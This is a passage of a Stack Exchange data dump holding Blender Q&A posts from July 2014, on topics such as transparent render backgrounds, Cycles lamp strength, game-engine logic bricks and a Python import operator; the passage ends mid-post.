  <row Id="14546" PostTypeId="1" AcceptedAnswerId="14550" CreationDate="2014-07-30T20:05:25.967" Score="11" ViewCount="22775" Body="&lt;p&gt;How I can have an object in the foreground with a transparent background? I do not want to have a background that is just keyed out because that always leaves halos even when I do the correct lighting. So how would I go about having a background that is transparent alpha channel and all? Also what video file do I have to use to preserve the alpha channel?&lt;/p&gt;&#xA;" OwnerUserId="5344" LastEditorDisplayName="user1853" LastEditDate="2014-07-30T21:08:41.050" LastActivityDate="2014-07-30T21:08:41.050" Title="Transparent Background for Animation" Tags="&lt;transparency&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ClosedDate="2014-07-31T07:15:44.463" ContentLicense="CC BY-SA 3.0" />
  <row Id="14547" PostTypeId="1" AcceptedAnswerId="14549" CreationDate="2014-07-30T20:06:03.420" Score="3" ViewCount="445" Body="&lt;p&gt;I have a object set to rigid body. I am using &lt;em&gt;Linear Velocity&lt;/em&gt; set to &lt;em&gt;Add&lt;/em&gt; to make it jump. Is it possible to set a maximum velocity so it will not keep speeding up infinitely?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3yx9C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-03-21T15:23:01.767" LastActivityDate="2015-03-21T15:23:01.767" Title="Is it possible to set a maximum velocity on a object?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14548" PostTypeId="2" ParentId="14538" CreationDate="2014-07-30T20:08:17.833" Score="3" Body="&lt;p&gt;You can use a Glow strip to get an acceptable blur. You can even animate the blur by key framing it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a glow strip to the strip you want to blur.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AVNUv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the following settings for the glow strip.&#xA;The key is enable 'Only Boost' in order to make sure the glow effect isn't added on top of the original image to make it extra bright.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UaWQn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-30T20:08:17.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14549" PostTypeId="2" ParentId="14547" CreationDate="2014-07-30T20:11:18.673" Score="4" Body="&lt;p&gt;You can set the maximum (and mimimum) velocity of a rigid body object in the Properties Editor.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xjaks.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-30T20:11:18.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14550" PostTypeId="2" ParentId="14546" CreationDate="2014-07-30T20:15:41.560" Score="10" Body="&lt;p&gt;You need to go to the &quot;Properties&quot; panel, &quot;Render&quot; tab, subsection &quot;Film&quot; and check &quot;Transparent&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6u7z.png&quot; alt=&quot;Transparency check box&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, keep in mind that animations should first be rendered to individual images, to avoid file corruption, and joined using something like Blender's Video Sequence Editor.&#xA;This is demonstrated &lt;a href=&quot;http://vimeo.com/26366908&quot; rel=&quot;noreferrer&quot;&gt;in this video&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-07-30T20:37:19.267" LastActivityDate="2014-07-30T20:37:19.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14551" PostTypeId="2" ParentId="14539" CreationDate="2014-07-30T20:27:56.033" Score="4" Body="&lt;p&gt;This does not answer your question directly, but consider this as an alternatively way to implement a more realistic atmosphere effect. (With Blender Render)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you want to use the volume material type on a sphere, this gives you much more control over the density of the atmosphere, and you can tweak the density and colour without fussing around with blurring or nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following screenshot has all the settings you need to generate the atmosphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sg6s9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/atmo.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-07-30T20:27:56.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14554" PostTypeId="1" CreationDate="2014-07-30T20:50:39.460" Score="0" ViewCount="175" Body="&lt;p&gt;Another problem has risen about my Earth. When the camera starts to go away from the Earth, these weird fragments appear. I've figured out that it's the Earth map coming through the clouds and atmosphere but only at a distance. They're far apart enough and I don't know if it's a setting that causes this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NajJf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastActivityDate="2014-07-30T20:50:39.460" Title="Fragment glitches in Blender when camera's far away from object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;materials&gt;&lt;compositor&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-07-31T15:55:37.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="14555" PostTypeId="1" AcceptedAnswerId="14570" CreationDate="2014-07-30T21:17:15.947" Score="4" ViewCount="475" Body="&lt;p&gt;Right now I have a simple logic setup (image below) to make the armor points of my tank go down and disappear when it gets hit by 25 objects with the &lt;em&gt;bullet&lt;/em&gt; property. When it gets hit by 7 objects with the &lt;em&gt;missile&lt;/em&gt; property, the &lt;em&gt;armor&lt;/em&gt; property drops to 4, another makes it drop to 1, then it drops to -2. it never equals 0 and it never disappears.&lt;br&gt;&#xA;Is there a way to send a positive pulse to the &lt;em&gt;And&lt;/em&gt; controller if the property equals or is lower than 0?&lt;br&gt;&#xA;&lt;sub&gt;click image for full size&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hQVik.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hQVik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-01-12T00:51:31.003" LastActivityDate="2015-01-12T00:51:31.003" Title="Is it possible to have a property sensor detect a value higher or lower than a specific number?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14556" PostTypeId="2" ParentId="14509" CreationDate="2014-07-30T21:22:45.860" Score="5" Body="&lt;p&gt;Ok I found the problem and the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the link I posted in the edited question suggested, the problem was some twisted setup, the last update should have messed something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done has been.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First I moved my &lt;code&gt;$HOME/.pulse to $HOME/.pulse_old&lt;/code&gt; to start with a new setup.&lt;/li&gt;&#xA;&lt;li&gt;I launched pavucontrol&lt;/li&gt;&#xA;&lt;li&gt;Switched to setup tab.&lt;/li&gt;&#xA;&lt;li&gt;Select my sound output device.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;BINGO!!! now Blender VSE plays sounds again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone who tried to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This finally turned out not to be a Blender problem (eventhough I am not that sure, since it was the only program failing). Nevertheless, I am posting the solution since someone might benefit from it in the future.&lt;/p&gt;&#xA;" OwnerUserId="3535" LastEditorUserId="26640" LastEditDate="2018-02-22T00:15:07.380" LastActivityDate="2018-02-22T00:15:07.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14557" PostTypeId="1" AcceptedAnswerId="14558" CreationDate="2014-07-30T23:12:09.720" Score="1" ViewCount="1191" Body="&lt;p&gt;I'm trying to build Blender 2.71(?) as a Python module on Windows 7 with vs 2013 express and cmake. I've followed &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Building_Blender/Windows/msvc/CMake&quot; rel=&quot;nofollow&quot;&gt;these&lt;/a&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set the JPEG_INCLUDE_DIR and JPEG_LIBRARY entries to .../lib/win64_vc12/jpeg/include and .../lib/win64_vc12/jpeg/lib/jpeg.lib respectively and done this also for the other libraries like TIFF, OpenImageIO etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first changed these and clicked Configure I got messages like Found JPEG:...&#xA;After that the output is always this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;64 bit compiler detected.&#xA;Visual C++ 2013 detected.&#xA;Boost version: 1.55.0&#xA;Found the following Boost libraries:&#xA;  date_time&#xA;  filesystem&#xA;  thread&#xA;  regex&#xA;  system&#xA;  locale&#xA;CMake Error at CMakeLists.txt:1952 (message):&#xA;  Apple and Windows require pre-compiled libs at:&#xA;  'C:/00/blender/../lib/win64_vc12'&#xA;&#xA;&#xA;Configuring incomplete, errors occurred!&#xA;See also &quot;C:/00/blender_build_python/CMakeFiles/CMakeOutput.log&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have 3 main suspicions for why this might be but I don't know what to do about it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Boost_DIR always gets set to Boost_DIR-NOTFOUND, even if I manually changed it. However, &lt;a href=&quot;http://www.ogre3d.org/forums/viewtopic.php?f=2&amp;amp;t=69615&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and other sources seem to indicate it shouldn't be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I'm not sure what to set the freetype entries to. I have FREETYPE_INCLUDE_DIR_freetype2 set to C:/00/blender/lib/win64_vc12/freetype/include and FREETYPE_INCLUDE_DIR_ft2build set to C:/00/blender/lib/win64_vc12/freetype/include/freetype2 and I got the message &quot;Found Freetype...&quot; but those names seem pretty weird and I don't know if it's correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) There is a setting for PNG_LIBRARY_DEBUG, but there's only the libpng.dll. Setting that as the value doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, am I missing something? Is this a known issue and is there a workaround? Should using another compiler with cmake work, even if this doesn't work? Or is there maybe a zipped folder somewhere I can download, that I can just extract into my python folder so I can import it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I also tried it with the vs 2010 compiler and the win64 precompiled libraries with the same result.&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="5383" LastEditDate="2014-07-31T00:49:19.083" LastActivityDate="2014-07-31T00:49:19.083" Title="Apple and Windows require pre-compiled libs at:" Tags="&lt;python&gt;&lt;versions&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-31T15:19:14.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="14558" PostTypeId="2" ParentId="14557" CreationDate="2014-07-30T23:39:27.307" Score="2" Body="&lt;p&gt;I found the cause for this problem myself: In the guide, it seems to me as if the lib folder is supposed to be inside the blender source folder (it doesn't say to leave the blender folder before running the svn command and at other places it refers to C:/BlenderDEV/lib/...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the lib folder into the same folder that the blender source folder is in gets rid of the error message. When the Cache is deleted cmake also finds all of the library locations on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always interpreted the C:/00/blender/../lib/win64_vc12 as being .../blender/none_or_more_subfolders/lib/win64_vc12, though I should have known better. :p&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: just to be clear, I only found the answer after I had already asked the question.&lt;/p&gt;&#xA;" OwnerUserId="5383" LastEditorUserId="5383" LastEditDate="2014-07-30T23:47:28.997" LastActivityDate="2014-07-30T23:47:28.997" CommentCount="0" CommunityOwnedDate="2014-07-30T23:39:27.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="14560" PostTypeId="1" AcceptedAnswerId="14561" CreationDate="2014-07-31T01:17:53.863" Score="4" ViewCount="3244" Body="&lt;p&gt;I am trying to make a material that is translucent at the surface and opaque in the middle.  How can I control the gradient?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the gradient to correspond with the mesh; i.e. not simply radiate from the origin or something like that.  (If my model was a tree, the leaves and bark would be translucent while the branches and trunk, under a couple inches of bark, would be opaque.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I am trying to replicate this glacial ice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Twi0b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="599" LastEditDate="2014-07-31T01:27:11.127" LastActivityDate="2014-07-31T01:27:11.127" Title="Volumetric gradient based on density?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14561" PostTypeId="2" ParentId="14560" CreationDate="2014-07-31T01:19:11.130" Score="7" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Materials/Volume#Volume_Shaders&quot; rel=&quot;noreferrer&quot;&gt;absorption node&lt;/a&gt; seems to be what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9qftP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also add surface shaders on top of the volume shaders, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jJh7B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-31T01:25:43.227" LastActivityDate="2014-07-31T01:25:43.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14562" PostTypeId="1" CreationDate="2014-07-31T01:32:36.533" Score="6" ViewCount="5221" Body="&lt;p&gt;This has bugged me for a while now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each lamp type seems to have it's own scale for brightness.&lt;br&gt;&#xA;Here's a &lt;a href=&quot;http://www.pasteall.org/blend/30741&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;test scene&lt;/strong&gt;&lt;/a&gt; of four lamp types. Each lamp is one BU with a strength of 100:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2qxKh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that the mesh lamp is much brighter and the spot lamp is much dimmer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is there such a disparity between the spot lamp and the other lamps? Is there a way to convert &quot;point lamp energy units&quot; into &quot;spot lamp energy units&quot; (besides just eyeballing it)?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-07-31T01:59:53.483" LastActivityDate="2014-07-31T08:31:43.430" Title="How to get consistent lamp strengths in cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14563" PostTypeId="2" ParentId="10506" CreationDate="2014-07-31T03:02:56.913" Score="2" Body="&lt;p&gt;I had similar problems, it seems to be a problem with depth sorting in blender. What helped me was setting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Materials &gt; Game Setting &gt; Alpha Blend &gt; set it to &quot;Alpha Clip&quot;&#xA;You should do this for the teeth and eyes, maybe skin aswell(try one at a time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options that may have an effect on this problem are &quot;Back Face Culling&quot; and &quot;Transparency&quot;.&lt;/p&gt;&#xA;" OwnerUserId="5431" LastActivityDate="2014-07-31T03:02:56.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14564" PostTypeId="2" ParentId="14538" CreationDate="2014-07-31T04:32:00.203" Score="8" Body="&lt;p&gt;In 2.72, a Gaussian Blur effect was added to the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dUa6i.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply keyframe the size to start at zero and increase to the amount you want.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="8262" LastEditDate="2015-11-27T01:53:15.573" LastActivityDate="2015-11-27T01:53:15.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14566" PostTypeId="2" ParentId="14562" CreationDate="2014-07-31T06:34:56.277" Score="2" Body="&lt;p&gt;As I understand it the spot light is a controlled light within a cone, the camera doesn't &quot;see&quot; the light bulb that is the source of light so you don't get the bright circle at the source. This prevents the spot source being seen even if it is pointed at the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built-in lights seem to have a fixed amount of light to emit, by reducing the size (that is size not emission value) to 0.0 all the light is concentrated to the one small area at the location of the light. By increasing the size of the light the same amount of light is dispersed from a greater area and appears dimmer at any given point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh lights work the opposite way and are based on mesh size, with the entire surface of the mesh emitting light, the bigger the mesh the bigger the source of light so more light is emitted throughout the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I consider the built-in lights as an easy to use leftover from blender internal. The first version of cycles (2.61) had initial support for sun, point and area lights added just before release, with spot support added in 2.64, so I think they were mostly added as a convenience. The fact that their functionality is mostly opposite to mesh lights leaves no easy way to convert one to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go with use built-in lights for BI and for cycles use mesh lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To better represent the point light a sphere mesh can be used. A proper spot light can be made with a sphere emitting from inside an open ended tube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At size 0.0 all lights are concentrated to a point of light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qsRYP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At size 5.0 the same amount of light is dispersed from a larger area and is almost invisible. Notice that the area light still emits a fair amount of light when it is large. It's entire surface is the source of light, while the others are just origin points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oo9fE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale the mesh object to 0.1 and get a tiny source of light, but at a scale of 5.0 you have an almost white scene. Applying the scale doesn't effect the amount of light emitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh light at scale 0.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/290RG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh light at scale 5.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XjvLH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-07-31T08:31:43.430" LastActivityDate="2014-07-31T08:31:43.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14567" PostTypeId="2" ParentId="14562" CreationDate="2014-07-31T06:46:34.210" Score="3" Body="&lt;p&gt;I'm not completely sure why the spot lamp is generally darker than the rest of them, and the point lamp slightly darker, but if you level the playing field a bit, they aren't all that different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set all sizes to the same value, 0.5 as well as the dimensions of the mesh light&lt;/li&gt;&#xA;&lt;li&gt;Set the spot lamp's shape size (the cone) to 180 degrees&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OkYlJ.png&quot; alt=&quot;Even comparison&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can see that the mesh and area lamps are nearly identical, except for the area lamp being slightly brighter in the middle on the back wall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dimensions of the mesh light was an arbitrary guess, changing it will change the brightness since light is emitted from the surface of the mesh and more surface area means more light. This is different from the other lamps, where the size is purely to control the softness of the shadows and doesn't affect the brightness at all.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-07-31T06:46:34.210" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14568" PostTypeId="2" ParentId="14516" CreationDate="2014-07-31T07:41:53.560" Score="3" Body="&lt;p&gt;It does appear that a suspended scene does not respond to any events, which sounds right when you think about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution is to use a second scene to control the play. When starting game play connect a scene actuator that sets a second scene as a scene overlay. This second scene only needs one object, which can be an empty, and contains the pause/resume pieces as you have shown, just with the pause/resume scene set to the first scene not the second that has the pause controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have setup a scene as an overlay to display scores etc then you can just use one of these objects.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-31T07:41:53.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14569" PostTypeId="1" CreationDate="2014-07-31T08:33:28.693" Score="1" ViewCount="777" Body="&lt;p&gt;I am just working on a small WebGl project based on the three.js framework and I am just trying to switch between several animations I made in blender. I know therefore I need to bake my animations since they have inverse kinematics. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have two animations in my blend.file, a walk cycle and a run cycle. Now I want to bake both of these animations and export it into one collada file. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I bake my first animation, I lose my IK for the second one and can't bake it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so far!&#xA;Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="29" LastEditDate="2014-12-22T11:58:43.960" LastActivityDate="2015-04-21T14:03:54.573" Title="Bake multiple Armature animations within one file with IK" Tags="&lt;animation&gt;&lt;workflow&gt;&lt;armature&gt;&lt;three.js&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14570" PostTypeId="2" ParentId="14555" CreationDate="2014-07-31T08:40:52.780" Score="3" Body="&lt;p&gt;You mean like &quot;Less than&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6Wc2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A value less than 1 is either equal to or less than zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; the options for evaluating properties &quot;Less Than&quot; and &quot;Greater Than&quot; was added in blender 2.71. Previous versions don't have these options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy solution would be to upgrade to 2.71, another option would be to use a python controller to do the test of the property value.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-07-31T19:58:05.267" LastActivityDate="2014-07-31T19:58:05.267" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14571" PostTypeId="1" AcceptedAnswerId="14573" CreationDate="2014-07-31T09:16:35.477" Score="2" ViewCount="150" Body="&lt;p&gt;To calculate an oriented bounding box as defined &lt;a href=&quot;http://www.mechcore.net/files/docs/alg/gottschalk00collision.pdf&quot; rel=&quot;nofollow&quot; title=&quot;pdf file&quot;&gt;here&lt;/a&gt;. I need the convex hull of an object. I know that there is an operator in Blender to do this, since you can go to edit mode, press spacebar and type &quot;convex hull&quot;.&lt;br&gt;&#xA;However, I have been unable to figure out how to call this operator from python. I know that one can usually find a python operator by hovering over the respective UI element one uses to invoke the operation from the interface, but that does not work in the spacebar-search.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore:&#xA;Does anybody know of a reliable way to find the python operator for each tool within Blender?&lt;/p&gt;&#xA;" OwnerUserId="5124" LastEditorUserId="2217" LastEditDate="2015-05-28T17:27:41.720" LastActivityDate="2015-05-28T17:27:41.720" Title="Finding python operator for every tool within Blender" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14572" PostTypeId="1" AcceptedAnswerId="14574" CreationDate="2014-07-31T09:52:04.133" Score="5" ViewCount="1698" Body="&lt;p&gt;I am trying to create an import script, I just need to get the filepath as a string to execute the rest of my functions. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the visual example of what I want to get.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yXvzI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/D3Ayp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4970" LastActivityDate="2015-12-29T08:10:02.833" Title="How do I get the filepath when I import a file?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14573" PostTypeId="2" ParentId="14571" CreationDate="2014-07-31T10:55:44.037" Score="4" Body="&lt;p&gt;If you pull down the main menu an area appears which shows the log of invoked operators (I don't know the name of this area).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/urIft.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can find operators which are not displayed in tooltips.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-31T10:55:44.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14574" PostTypeId="2" ParentId="14572" CreationDate="2014-07-31T11:23:32.653" Score="11" Body="&lt;p&gt;This general implementation for file based actions is to use in-built mix-in classes, bpy.types.Operator, bpy_extras.io_utils.ImportHelper.&#xA;ImportHelper &amp;amp; ExportHelper are wrappers for FileSelector.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy_extras.io_utils import ImportHelper, ExportHelper&#xA;&#xA;class NifImportOperator(bpy.types.Operator, ImportHelper):&#xA;    &quot;&quot;&quot;Operator for loading a nif file.&quot;&quot;&quot;&#xA;&#xA;    #: Name of function for calling the nif export operator.&#xA;    bl_idname = &quot;import_scene.nif&quot;&#xA;&#xA;    #: How the nif import operator is labelled in the user interface.&#xA;    bl_label = &quot;Import NIF&quot;&#xA;&#xA;    def execute(self, context):&#xA;        path = &quot;Importing &quot; + self.properties.filepath&#xA;        self.report({'INFO'}, path)&#xA;        return{'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once your class is registered(see below)), it can be invoked via console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.&amp;lt;bl_idname&amp;gt;('INVOKE_DEFAULT') &#xA;&#xA;bpy.ops.import_scene.nif('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The addition of the ImportHelper/ExportHelper, a new attribute is defined in the self.properties of the operator (filepath).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above, because we did not set that attribute, you will get the FileSelector. &#xA;The filepath attribute will be set to the value of the url bar.&#xA;Alternative method of invocation via search bar or menu, will produce the same default invocation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ImportHelper also allows you to pass in an explicit argument &quot;filepath&quot; into the operator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.&amp;lt;bl_idname&amp;gt;(filepath=&quot;&quot;) &#xA;&#xA;bpy.ops.import_scene.nif(filepath=&quot;C:\\mypath&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will skip, the FileSelector.&#xA;In either scenario, the execute() method defined in your class is then called.&#xA;The filepath is now accessible via&#xA;    self.properties.filepath&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this now accessible, you can do whatever you want with it, my sample below just reports it to the info bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4hBZa.png&quot; alt=&quot;infobar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full 